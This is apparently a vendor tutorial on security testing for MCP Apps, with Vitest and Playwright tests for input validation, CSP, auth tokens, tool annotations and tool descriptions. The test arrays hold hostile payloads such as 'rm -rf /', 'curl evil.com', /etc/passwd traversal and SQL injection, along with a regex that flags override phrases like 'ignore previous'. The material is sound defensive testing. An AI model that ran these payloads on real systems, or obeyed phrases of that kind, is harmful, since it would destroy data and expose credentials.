Security Testing for MCP Apps, ChatGPT Apps, and Claude Connectors (July 2026)

Security testing MCP App tool handlers, CSP configuration, and auth flows.
The MCP App ecosystem changed fast between April and July 2026. The official MCP Apps docs now describe app UIs as a standard extension: a tool returns a linked ui:// resource, the host renders that resource in a sandboxed iframe, and the app talks to the host over JSON-RPC through postMessage. OpenAI’s MCP Apps compatibility guide tells ChatGPT App developers to use the MCP Apps bridge by default, then add ChatGPT-only APIs only when they need them. Claude Connectors, Claude Desktop, VS Code GitHub Copilot, Microsoft 365 Copilot, Goose, Postman, MCPJam, and Archestra.AI are tracked in the MCP client support matrix.
That larger host surface is good for developers, but it makes security testing more important. Your resource may run in several iframe runtimes. Your tool result may feed both a UI and a model. Your OAuth tokens may be minted by a host you do not control. Your tool descriptions may be read by an LLM before any human sees them.
The official MCP security guidance makes the same practical point from another angle: do not trust data just because it arrived through an MCP path. That maps directly to MCP Apps. Validate what comes into a tool, then validate what leaves it before the model, resource, or another tool consumes it.
MCP Apps have a smaller attack surface than raw MCP servers because resources run in sandboxed iframes with restrictive CSP. But your tool handlers still run server-side, accept LLM-generated inputs, and can talk to databases, APIs, and file systems. Security bugs in tool handlers ship just as easily as feature bugs, and they’re caught the same way: with automated tests.
TL;DR: Write unit tests that pass malicious inputs to your tool handlers. Write auth tests for expired, wrong-audience, wrong-issuer, and missing-scope tokens. Write integration tests that verify CSP, tool annotations, resource metadata, and structuredContent boundaries through the mcp fixture. Use inspector tests for authenticated, unauthenticated, denied, and host-fallback UI states. Run these alongside your existing suite in CI, then reserve real ChatGPT and Claude checks for narrow release gates.
What Security Testing Covers
Security testing for MCP Apps is different from security scanning. Scanners like MCP-Scan (now Snyk Agent Scan) analyze your server configuration and tool descriptions for known patterns. They’re useful, but they can’t test your application logic. They won’t tell you that your execute_query tool handler passes user input straight to a shell command, or that your resource response includes an API key in a field the client-side component renders.
Automated security tests fill that gap. Here’s what to test:
- Input validation: does your tool handler reject or sanitize malicious inputs?
- CSP configuration: does your resource’s CSP only allow the origins it needs?
- Tool annotations: do your annotations accurately describe what each tool does?
- Auth token handling: are tokens stored server-side and never exposed in resource responses?
- Model-visible output: does
contentorstructuredContentexpose secrets, private records, permission data, or raw internal IDs? - Host fallbacks: does the app stay safe when a host lacks optional APIs or display modes?
- Response content: does your tool output leak internal data, stack traces, or credentials?
Each of these is testable with the same tools you use for unit tests and integration tests.
The important point in 2026 is that “rendered in an iframe” does not mean “private from the model.” The browser frame is sandboxed, but normal MCP result fields still have different audiences. content is model-facing. structuredContent is also model-readable in many hosts and should match your outputSchema. Tool result _meta is the better place for UI-only helper data when your target host supports it. Test those lanes separately.
Input Validation Testing
The MCP spec is clear on this: “All tool inputs should be treated as untrusted since they come from an LLM rather than directly from the user.” Your tool handler receives arguments from the host’s LLM, and that LLM generates them based on the conversation context. A prompt injection attack can trick the LLM into sending inputs your handler wasn’t designed for.
Shell Injection
If your tool handler runs shell commands, test that metacharacters in inputs don’t break out of the intended command:
import { describe, it, expect } from 'vitest';
import { handler } from '../src/tools/run-lint/handler';
const shellPayloads = [
'file.ts; rm -rf /',
'file.ts && cat /etc/passwd',
'file.ts | curl evil.com',
'$(whoami)',
'`whoami`',
'file.ts\nrm -rf /',
];
describe('run-lint handler rejects shell injection', () => {
for (const payload of shellPayloads) {
it(`rejects: ${payload.slice(0, 40)}`, async () => {
const result = await handler({ filePath: payload });
expect(result.isError).toBe(true);
});
}
});
The fix is almost always to avoid shell commands entirely. Use Node.js APIs (fs.readFile, child_process.execFile with explicit arguments) instead of string-concatenated exec() calls. But the test catches the problem regardless of how you fix it.
Path Traversal
Tools that read or write files need to verify that inputs stay within an expected directory:
const traversalPayloads = [
'../../../etc/passwd',
'..\\..\\windows\\system32\\config\\sam',
'/etc/shadow',
'reports/../../../../etc/hosts',
'reports/%2e%2e%2f%2e%2e%2fetc/passwd',
];
describe('export handler rejects path traversal', () => {
for (const payload of traversalPayloads) {
it(`rejects: ${payload.slice(0, 40)}`, async () => {
const result = await handler({ outputPath: payload });
expect(result.isError).toBe(true);
});
}
});
A solid implementation resolves the path with path.resolve() and checks that it starts with the allowed base directory. The test confirms this works for common evasion patterns, including URL-encoded sequences.
SQL Injection
If your tool queries a database, test the standard injection patterns:
const sqlPayloads = [
"'; DROP TABLE users; --",
"' OR '1'='1",
"1; UPDATE users SET role='admin' WHERE id=1",
"' UNION SELECT password FROM users --",
];
describe('search handler resists SQL injection', () => {
for (const payload of sqlPayloads) {
it(`handles safely: ${payload.slice(0, 40)}`, async () => {
const result = await handler({ query: payload });
// Should either return empty results or an error,
// never execute the injected SQL
if (!result.isError) {
expect(result.structuredContent.results).toEqual([]);
}
});
}
});
Parameterized queries prevent SQL injection at the implementation level. These tests verify that your parameterization actually works by checking that injection payloads don’t return unauthorized data or cause unexpected errors.
Oversized Inputs
Test that your handler doesn’t crash or consume excessive memory when given huge inputs:
it('rejects inputs over 10KB', async () => {
const result = await handler({ query: 'a'.repeat(100_000) });
expect(result.isError).toBe(true);
});
Your Zod schema can enforce this with z.string().max(10000), but the test catches the case where someone removes or increases the limit later.
Model-Visible Data Boundary Testing
MCP App tool results usually have three lanes:
content: short model-readable text.structuredContent: typed JSON that the model may use and your resource may render._meta: UI-only data for hosts that support it.
The MCP App outputSchema guide covers the contract side. For security, the rule is simple: put only concise, safe, user-authorized facts in content and structuredContent. Do not put tokens, refresh tokens, signed URLs, private permission maps, internal database IDs, raw documents, hidden prompts, or cross-user records there.
Test the boundary directly:
import { describe, it, expect } from 'vitest';
import { handler } from '../src/tools/list-invoices/handler';
const mockAuthedExtra = {
authInfo: {
token: 'test-token',
clientId: 'user_123',
scopes: ['invoices:read'],
},
};
describe('list-invoices result keeps private data out of model-visible fields', () => {
it('does not expose secrets in content or structuredContent', async () => {
const result = await handler({ accountId: 'acct_123' }, mockAuthedExtra);
const modelVisible = JSON.stringify({
content: result.content,
structuredContent: result.structuredContent,
});
expect(modelVisible).not.toMatch(/Bearer\s+[A-Za-z0-9\-._~+/]+=*/);
expect(modelVisible).not.toMatch(/sk-[A-Za-z0-9]{32,}/);
expect(modelVisible).not.toMatch(/refresh_token/i);
expect(modelVisible).not.toMatch(/signedUrl/i);
expect(modelVisible).not.toMatch(/internalPermissionMap/i);
});
it('keeps UI-only cursors in _meta when supported', async () => {
const result = await handler({ accountId: 'acct_123' }, mockAuthedExtra);
expect(result.structuredContent).not.toHaveProperty('nextPageCursor');
expect(result._meta).toHaveProperty('nextPageCursor');
});
});
This catches a common MCP App bug: a handler returns the whole ORM object because the UI needs one field from it. The UI renders fine locally, but the model now sees fields that were never meant to leave the server.
CSP Configuration Testing
MCP App resources run in sandboxed iframes where all external connections are blocked by default. You open access by declaring specific origins in _meta.ui.csp. A misconfigured CSP can let your resource connect to origins you didn’t intend, or block connections it needs.
Write integration tests that inspect your resource’s CSP:
import { test, expect } from 'sunpeak/test';
test('weather resource CSP allows only the weather API', async ({ mcp }) => {
const { resources } = await mcp.listResources();
const weather = resources.find((resource) => resource.uri === 'ui://weather');
const csp = weather?._meta?.ui?.csp;
// Only the weather API origin should be in connectDomains
expect(csp?.connectDomains).toEqual(['https://api.weather.gov']);
// No external resources or frames needed
expect(csp?.resourceDomains ?? []).toEqual([]);
expect(csp?.frameDomains ?? []).toEqual([]);
});
A few things to test:
- Each resource’s
connectDomainscontains only the API origins it actually calls - No wildcard origins (
https://*) unless you genuinely need all subdomains of a specific domain frameDomainsis empty unless your resource embeds third-party iframesresourceDomainsonly includes CDN origins you actually load assets from
If your app has multiple resources, test each one separately. A dashboard resource that shows charts from a charting CDN has different CSP needs than a settings resource that calls your own API.
Snapshot the whole resource metadata object too. CSP fields, display hints, widget descriptions, and resource URIs can drift during refactors. A narrow snapshot test makes that drift visible:
test('resource metadata stays reviewable', async ({ mcp }) => {
const { resources } = await mcp.listResources();
const metadata = resources.map((resource) => ({
uri: resource.uri,
name: resource.name,
mimeType: resource.mimeType,
meta: resource._meta,
}));
expect(metadata).toMatchInlineSnapshot();
});
Do not snapshot giant HTML payloads. Snapshot the descriptors and metadata that affect host behavior.
Tool Annotation Testing
Tool annotations tell the host what your tool does: whether it only reads data (readOnlyHint), modifies something (destructiveHint), or reaches external systems (openWorldHint). Incorrect annotations are a security risk because the host uses them to decide when to ask for user confirmation. A destructive tool marked as read-only could execute without a confirmation prompt.
Incorrect annotations can also block MCP App submission through the ChatGPT plugin portal or Claude Connectors Directory because they misstate the tool’s real behavior.
import { test, expect } from 'sunpeak/test';
test('tool annotations match actual behavior', async ({ mcp }) => {
const { tools } = await mcp.listTools();
for (const tool of tools) {
const annotations = tool.annotations;
// Every tool must have annotations
expect(annotations, `${tool.name} missing annotations`).toBeDefined();
// Tools that write, delete, or send must be marked destructive
if (['delete-account', 'send-email', 'update-profile'].includes(tool.name)) {
expect(annotations.destructiveHint, `${tool.name} should be destructiveHint: true`).toBe(
true
);
expect(annotations.readOnlyHint, `${tool.name} should not be readOnlyHint: true`).not.toBe(
true
);
}
// Read-only tools must not be marked destructive
if (['get-status', 'search', 'list-items'].includes(tool.name)) {
expect(annotations.readOnlyHint, `${tool.name} should be readOnlyHint: true`).toBe(true);
expect(
annotations.destructiveHint,
`${tool.name} should not be destructiveHint: true`
).not.toBe(true);
}
// Tools that touch external systems need openWorldHint
if (['send-email', 'post-to-slack'].includes(tool.name)) {
expect(annotations.openWorldHint, `${tool.name} should be openWorldHint: true`).toBe(true);
}
}
});
This test is more maintenance than most, since you need to update the tool lists when you add or rename tools. But it’s caught real bugs: a tool renamed from get-users to sync-users (which now writes to an external system) that kept its old readOnlyHint: true annotation.
Auth Token Testing
The recommended pattern for auth in MCP Apps is to keep tokens server-side. Your tool handler reads the token from a secure store, calls the API, and returns the result. The resource component never sees the token.
For protected MCP servers, test your auth boundary before you test individual tools. The MCP authorization guidance is based on OAuth, and the security guidance warns against token passthrough. Your server should validate the token it receives for the right issuer, audience, expiry, and scopes, then pass a verified identity into handlers.
import { describe, it, expect } from 'vitest';
import { auth } from '../src/server';
import { createRequestWithToken, mintTestToken } from './auth-test-utils';
describe('auth boundary', () => {
it('rejects expired tokens', async () => {
const token = await mintTestToken({ exp: Math.floor(Date.now() / 1000) - 60 });
await expect(auth(createRequestWithToken(token))).resolves.toBeNull();
});
it('rejects tokens for the wrong MCP resource audience', async () => {
const token = await mintTestToken({ aud: 'https://different-api.example.com' });
await expect(auth(createRequestWithToken(token))).resolves.toBeNull();
});
it('rejects missing scopes for private data tools', async () => {
const token = await mintTestToken({ scope: 'profile:read' });
await expect(auth(createRequestWithToken(token))).resolves.toBeNull();
});
});
The helper functions are test-only. They should mint local JWTs with a local signing key, not call your real identity provider on every test run.
Test that this boundary holds:
import { describe, it, expect } from 'vitest';
import { handler } from '../src/tools/get-repos/handler';
describe('get-repos handler does not leak tokens', () => {
it('structuredContent contains no auth tokens', async () => {
const result = await handler({ username: 'test-user' });
const content = JSON.stringify(result.structuredContent);
// Should not contain anything that looks like a token
expect(content).not.toMatch(/ghp_[A-Za-z0-9]{36}/);
expect(content).not.toMatch(/Bearer\s+[A-Za-z0-9\-._~+/]+=*/);
expect(content).not.toMatch(/sk-[A-Za-z0-9]{32,}/);
expect(content).not.toMatch(/eyJ[A-Za-z0-9_-]+\.eyJ/); // JWT
});
it('rejects token passed as tool input', async () => {
const result = await handler({
username: 'test-user',
token: 'ghp_stolen_token_from_prompt_injection',
});
// Handler should ignore unexpected fields or error
expect(result.structuredContent).not.toHaveProperty('token');
});
});
The MCP spec explicitly prohibits token passthrough: servers “MUST NOT accept any tokens that were not explicitly issued for the MCP server.” This test enforces that your handler ignores tokens passed in tool inputs and doesn’t echo credentials back in responses.
Response Content Testing
Tool handler responses can accidentally leak internal information. Stack traces, database connection strings, internal URLs, and debug metadata are all things that can show up in error responses and get rendered in the resource component for anyone to see.
describe('error responses do not leak internals', () => {
it('database errors return clean messages', async () => {
// Force a database error by passing invalid data
const result = await handler({ id: 'nonexistent-id-999' });
if (result.isError) {
const content = JSON.stringify(result.content);
expect(content).not.toMatch(/ECONNREFUSED/);
expect(content).not.toMatch(/postgresql:\/\//);
expect(content).not.toMatch(/at Object\.<anonymous>/); // stack trace
expect(content).not.toMatch(/node_modules/);
}
});
});
Good error handling returns a user-facing message (“Could not find that item”) without exposing what went wrong internally. The MCP App error handling guide covers the implementation side. This test verifies the implementation doesn’t regress.
Tool Description Security
Tool poisoning, where malicious instructions are hidden in tool descriptions, is mainly a risk when MCP clients consume third-party servers. If you’re building the server, you control the descriptions. But it’s still worth testing that your descriptions haven’t been tampered with and don’t contain anything unexpected:
import { test, expect } from 'sunpeak/test';
test('tool descriptions are clean', async ({ mcp }) => {
const { tools } = await mcp.listTools();
for (const tool of tools) {
// Descriptions should be reasonable length
expect(tool.description.length, `${tool.name} description is suspiciously long`).toBeLessThan(
500
);
// No HTML or markdown injection
expect(tool.description).not.toMatch(/<script/i);
expect(tool.description).not.toMatch(/<img/i);
expect(tool.description).not.toMatch(/\[.*\]\(javascript:/i);
// No instruction-like patterns that could influence the LLM
expect(tool.description.toLowerCase()).not.toMatch(
/\b(ignore previous|disregard|forget|override|instead do)\b/
);
}
});
This is a lightweight check. For supply chain concerns where you consume other MCP servers, tools like MCP-Scan (Snyk Agent Scan) do deeper analysis of tool descriptions using semantic similarity and Unicode deobfuscation.
Host Capability Fallback Testing
MCP Apps can run in more than one host, and hosts do not expose the same optional APIs. ChatGPT may expose a host-owned file picker or modal. Claude may support a different connector setup flow. Another MCP client may render the resource but not support a host-specific extension yet.
Security tests should cover the fallback state because fallback bugs often become auth or data leaks. Examples:
- A “download private report” button should disappear or require a server-side signed URL when host file APIs are unavailable.
- A destructive action should still require explicit user confirmation if a host does not expose a host-owned confirmation dialog.
- A resource should not call an undeclared external API just because the preferred host bridge call is missing.
- A missing display mode should not reveal hidden admin controls that were only hidden by layout.
With sunpeak, pin these cases as simulation files and render them through the inspector:
import { test, expect } from 'sunpeak/test';
test('delete action requires confirmation without host modal support', async ({ inspector }) => {
const result = await inspector.renderTool('account-settings', {
simulation: 'account-settings-no-host-modal',
host: 'claude',
});
const app = result.app();
await app.getByRole('button', { name: 'Delete account' }).click();
await expect(app.getByRole('dialog', { name: 'Confirm deletion' })).toBeVisible();
await expect(app.getByRole('button', { name: 'Delete permanently' })).toBeDisabled();
});
The exact API depends on your project, but the test shape is the same: define the host capability state, render the resource, and assert that the unsafe path is still blocked.
Running Security Tests in CI
Security tests should run on every pull request. They use the same test runners as your other tests, so there’s nothing extra to configure. Input validation unit tests go in tests/unit/ and run with pnpm test:unit. CSP and annotation tests use the mcp fixture and run with pnpm test:e2e.
If your project already has a GitHub Actions workflow, security tests run automatically:
# Runs both unit and e2e tests, including security tests
- run: pnpm test:unit
- run: pnpm test:e2e
For an extra layer, add a static scanner alongside your test suite:
- name: Run MCP security scan
run: pnpm mcp-security-scan --format sarif > results.sarif
Use the actual scanner your team has pinned in package.json or your CI image. The point is to keep descriptor and dependency scanning near your test suite, not to let a floating package decide your release gate.
The combination of automated tests (which verify your specific application logic) and static scanning (which catches known vulnerability patterns) covers more ground than either approach alone. Scanners can flag risky tool text, broad permissions, and known dependency issues. They cannot prove that one user cannot read another user’s invoices. Your handler tests do that.
Organizing Security Tests
Keep security tests alongside your other tests rather than in a separate directory. Input validation tests for a tool handler belong next to the handler’s other unit tests. CSP tests belong with your integration tests. This way, when someone modifies a tool, they see the security tests in the same file and update them together.
A practical layout:
tests/
unit/
get-repos.test.ts # includes input validation + token leak tests
export-data.test.ts # includes path traversal tests
search.test.ts # includes SQL injection tests
e2e/
annotations.test.ts # tool annotation verification
csp.test.ts # CSP configuration checks
descriptions.test.ts # tool description security
Running pnpm test:unit && pnpm test:e2e catches everything, and security tests don’t need a separate CI step or specialized runner. They work locally and in CI the same way, with no paid accounts or external dependencies.
Where sunpeak Fits
You can write all of these tests with plain MCP SDKs, Vitest, Playwright, and your own fixtures. sunpeak packages that workflow for MCP Apps: a local inspector with ChatGPT and Claude runtime replicas, simulation files for pinned tool states, mcp and inspector test fixtures, visual tests, live host checks, and evals.
That matters for security because the risky states are often the states people skip manually: expired auth, denied scope, no host modal, narrow mobile frame, missing display mode, blocked CSP origin, failed tool call, and malformed structuredContent. Put those states in fixtures once, run them on every pull request, and keep the live ChatGPT or Claude pass narrow.
If you are building a security-sensitive MCP App, start with the boring tests: input validation, token validation, data scoping, CSP, annotations, and output boundaries. Those catch more production bugs than a long manual checklist.
Get Started
npx sunpeak newFurther Reading
- Testing authentication in MCP Apps - token validation, authInfo, and OAuth flow checks
- MCP App Authentication - OAuth 2.1 setup for ChatGPT, Claude, and other hosts
- MCP App CSP domains - connectDomains, resourceDomains, and frameDomains
- MCP App iframe sandbox, origins, and CORS
- MCP App outputSchema - validate structuredContent before hosts see it
- MCP App tool results - content, structuredContent, and _meta
- Testing MCP tool annotations
- Pre-submission testing - validate before publishing to ChatGPT and Claude
- MCP App CI/CD with GitHub Actions
- MCP App conformance testing - descriptors, resources, and host contracts
- Testing framework
- MCP App framework
- ChatGPT App framework
- Claude Connector framework
- MCP security best practices - official Model Context Protocol docs
- MCP Apps overview - official Model Context Protocol docs
- MCP Apps compatibility in ChatGPT - OpenAI Apps SDK
- MCP Apps client support matrix
- Claude custom connectors with remote MCP
Frequently Asked Questions
What security vulnerabilities are most common in MCP Apps?
The most common security issues in MCP Apps are command injection through tool handler inputs, path traversal in file-handling tools, misconfigured Content Security Policy (CSP), unsafe OAuth token boundaries, secrets or private records placed in model-visible structuredContent, missing or incorrect tool annotations, and tool descriptions that can be poisoned by prompt injection or supply chain changes.
How do I test MCP App tool handlers for injection vulnerabilities?
Write unit tests that pass malicious inputs to your tool handler function directly. Test shell metacharacters (semicolons, pipes, backticks), path traversal sequences (../), SQL injection patterns (OR 1=1), and oversized inputs. Assert that your handler either rejects the input with a validation error or sanitizes it before use. Run these tests with pnpm test:unit.
How do I verify my MCP App CSP configuration is correct?
Write integration tests using the mcp fixture that call mcp.listResources() or mcp.callTool() and inspect the _meta.ui.csp field on the returned resource. Assert that connectDomains, resourceDomains, and frameDomains only contain origins your app actually needs. Test that no wildcard origins or overly broad patterns are present. Run with pnpm test:e2e.
How do I test auth token handling in an MCP App?
Write unit tests for your auth() function and tool handlers. Assert that tokens come from the Authorization header or host-approved auth flow, not from tool inputs. Test expired, wrong-audience, wrong-issuer, missing-scope, and missing-token cases. Assert that content and structuredContent never contain raw tokens, API keys, refresh tokens, session secrets, or private permission data.
What is tool poisoning and how do I test for it?
Tool poisoning is when malicious instructions are hidden in MCP tool names, descriptions, schemas, or resource metadata where the model may treat them as trusted tool guidance. While this mainly affects clients consuming third-party servers, you should still snapshot and scan your own tool descriptors. Call mcp.listTools() in a test and assert each description is factual, short, free of HTML or markdown injection, and free of instruction-like patterns such as "ignore previous instructions."
Should I run security tests in CI/CD for MCP Apps?
Yes. Security tests should run on every pull request alongside unit, integration, and E2E tests. Add handler tests to pnpm test:unit, protocol tests to pnpm test:e2e, and resource rendering checks to inspector tests. Keep live host OAuth checks on a manual or release trigger. Most MCP App security tests run in CI without paid ChatGPT or Claude accounts because they use local fixtures and simulated host states.
How do I test that my MCP App tool annotations are secure?
Use the mcp fixture to call mcp.listTools() and verify every tool has readOnlyHint, destructiveHint, and openWorldHint set correctly. A tool that writes data must not have readOnlyHint: true. A tool that deletes data must have destructiveHint: true. Incorrect annotations can cause hosts to skip confirmation prompts for dangerous operations, which is both a security risk and a submission rejection reason.
What security testing tools exist for MCP servers besides sunpeak?
Static scanners and MCP security tools can check server descriptors, dependency risk, prompt-injection patterns, and known configuration mistakes. Use them as a CI layer, but do not treat them as a substitute for app tests. Scanners cannot prove that your handler scopes data to the authenticated user, that your resource renders the expired-token state correctly, or that your structuredContent omits private fields.